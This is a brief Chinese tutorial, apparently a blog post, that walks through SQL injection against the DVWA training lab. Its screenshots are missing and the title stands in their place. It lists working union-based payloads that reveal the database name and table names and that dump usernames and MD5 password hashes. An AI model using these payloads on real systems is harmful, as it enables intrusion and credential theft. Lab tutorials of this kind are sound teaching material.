DVWA之SQL Injection

1.首先,我们发现有个输入框,判断是否存在注入点

输入1:

DVWA之SQL Injection

输入1':

DVWA之SQL Injection

输入1 and 1=1:

DVWA之SQL Injection

输入1 and 1=2:

DVWA之SQL Injection

 

2:猜测sql语句:

DVWA之SQL Injection

3:**:

首先爆库:1' union select 1,database()

DVWA之SQL Injection

备注:union的使用条件:

DVWA之SQL Injection

猜测会有一张users表

爆users表的列:

1' union select 1,table_name from information_schema.tables where table_name='users'#

DVWA之SQL Injection

**user和password字段内容:

1' union select 1,concat(user,password) from users#

DVWA之SQL Injection

密文为md5加密,以

81dc9bdb52d04dc20036dbd8313ed055为例:

DVWA之SQL Injection

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-07-08
  • 2021-05-01
  • 2021-05-11
  • 2023-03-18
  • 2021-08-02
猜你喜欢
  • 2021-12-24
  • 2021-06-11
  • 2021-07-19
  • 2021-08-04
  • 2021-06-17
相关资源
相似解决方案